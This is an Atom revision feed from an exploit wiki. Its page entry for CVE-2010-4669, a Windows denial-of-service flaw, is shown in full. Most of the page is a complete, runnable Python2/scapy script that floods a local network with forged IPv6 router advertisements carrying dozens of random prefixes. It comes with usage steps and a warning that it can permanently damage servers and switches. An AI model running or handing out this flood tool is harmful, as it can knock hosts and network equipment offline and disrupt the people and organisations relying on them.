<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-4669_Microsoft_Windows%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2010-4669 Microsoft Windows拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-4669_Microsoft_Windows%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-4669_Microsoft_Windows%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T01:44:31Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2010-4669_Microsoft_Windows%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=952&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; # rauok This tool exploits CVE-2010-4669 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4669)      Be careful when testing, especially on older (read:...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-4669_Microsoft_Windows%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=952&amp;oldid=prev"/>
		<updated>2021-04-03T06:06:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; # rauok This tool exploits CVE-2010-4669 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4669)      Be careful when testing, especially on older (read:...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# rauok&lt;br /&gt;
This tool exploits CVE-2010-4669 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4669)     &lt;br /&gt;
Be careful when testing, especially on older (read: coporate) networks. Very capable of permanently damaging servers / switches. &lt;br /&gt;
&lt;br /&gt;
# Usage&lt;br /&gt;
**usage:** ./main.py interface thread-count packet-count&lt;br /&gt;
&lt;br /&gt;
# Dependancies&lt;br /&gt;
  -python2  &lt;br /&gt;
  -scapy  &lt;br /&gt;
  -root&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#! /usr/bin/python2&lt;br /&gt;
from scapy.all import * #required for packet crafting&lt;br /&gt;
import random	#generates mac, ipv6 address&lt;br /&gt;
import threading #for multithreading&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print sys.argv[3] #check if all arguments have been supplied&lt;br /&gt;
except:&lt;br /&gt;
    print 'usage:',sys.argv[0],' interface thread-count packet-oount' #fail if not&lt;br /&gt;
    sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
class RA_Flooder (threading.Thread): #worker class for threading&lt;br /&gt;
    def __init__(self, counter=0):&lt;br /&gt;
		threading.Thread.__init__(self)&lt;br /&gt;
		self.iface = sys.argv[1]&lt;br /&gt;
		self.counter = counter &lt;br /&gt;
&lt;br /&gt;
    def prefix_pack(self): #build the actual packet&lt;br /&gt;
		self.pkt = ICMPv6NDOptPrefixInfo() &lt;br /&gt;
		self.pkt.prefixlen = 64&lt;br /&gt;
		#self.pkt.prefix = &amp;quot;cc5f::&amp;quot;          #use for broadcast address instead of random prefix&lt;br /&gt;
		self.pkt.prefix = self.prefix_rand() #randomize prefix&lt;br /&gt;
		#self.pkt.show() #debug&lt;br /&gt;
		return self.pkt&lt;br /&gt;
&lt;br /&gt;
    def ipv6_rand(self): #generate random ipv6 address&lt;br /&gt;
		self.rand = ':'.join('{:x}'.format(random.randint(0,2**16 - 1)) for i in range(4))&lt;br /&gt;
		return 'fe80::' + self.rand&lt;br /&gt;
&lt;br /&gt;
    def prefix_rand(self): #generate random ipv6 prefix&lt;br /&gt;
		self.pre_rand = ':'.join('{:x}'.format(random.randint(0,2**16 - 1)) for i in range(2))&lt;br /&gt;
		return '2012:' + self.pre_rand + ':b304::'&lt;br /&gt;
&lt;br /&gt;
    def mac_rand(self): #generate random mac address&lt;br /&gt;
		self.mac = ':'.join('{:x}'.format(random.randint(0,2**8 - 1)) for i in range(6))&lt;br /&gt;
		return str(self.mac)&lt;br /&gt;
&lt;br /&gt;
    def packet_gen(self):&lt;br /&gt;
        #build the actual packet in scapy&lt;br /&gt;
        self.a = IPv6()	#set as an IPv6 packet&lt;br /&gt;
        self.a.dst = &amp;quot;ff02::1&amp;quot; #dst is set to broadcast&lt;br /&gt;
        self.a.src = self.ipv6_rand() #the source is randomized&lt;br /&gt;
        self.a.nh = 58&lt;br /&gt;
&lt;br /&gt;
        self.b = ICMPv6ND_RA() #set as router advertisment&lt;br /&gt;
        self.b.routerlifetime = 0&lt;br /&gt;
&lt;br /&gt;
        self.c = ICMPv6NDOptSrcLLAddr()&lt;br /&gt;
        self.c.lladdr = self.mac_rand()&lt;br /&gt;
&lt;br /&gt;
        self.d = ICMPv6NDOptMTU()&lt;br /&gt;
    	self.e = ICMPv6NDOptPrefixInfo()&lt;br /&gt;
    	self.e.prefixlen = 64&lt;br /&gt;
        #self.e.prefix = self.prefix_rand()&lt;br /&gt;
&lt;br /&gt;
        self.pk = self.a/self.b/self.c/self.d&lt;br /&gt;
        for i in range(44):&lt;br /&gt;
            self.pk = self.pk/self.prefix_pack()&lt;br /&gt;
        return self.pk&lt;br /&gt;
&lt;br /&gt;
    def run(self):&lt;br /&gt;
        self.s = conf.L3socket(iface=self.iface) #use correct interface&lt;br /&gt;
        if self.counter is 0: #if the counter is zero, continue forever&lt;br /&gt;
            while True:&lt;br /&gt;
                self.pkt = self.packet_gen() #create a packet as fast as possible, sned it&lt;br /&gt;
                self.s.send(self.pkt)&lt;br /&gt;
        else: #otherwise, use until packet count (per thread) has been met&lt;br /&gt;
            for x in range(self.counter):&lt;br /&gt;
                self.pkt = self.packet_gen()&lt;br /&gt;
                self.s.send(self.pkt)&lt;br /&gt;
        print '[*] Finished sending'&lt;br /&gt;
&lt;br /&gt;
threadLock = threading.Lock() &lt;br /&gt;
threads = [] #store all threads&lt;br /&gt;
for x in range(0, int(sys.argv[2])): #create threads&lt;br /&gt;
    t = RA_Flooder(int(sys.argv[3])) #create thread with correct variables&lt;br /&gt;
    threads.append(t) #add thread to array&lt;br /&gt;
for t in threads:&lt;br /&gt;
    t.start() #start thread&lt;br /&gt;
    print '[+] Thread started ' + str(x) &lt;br /&gt;
print 'All threads started'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>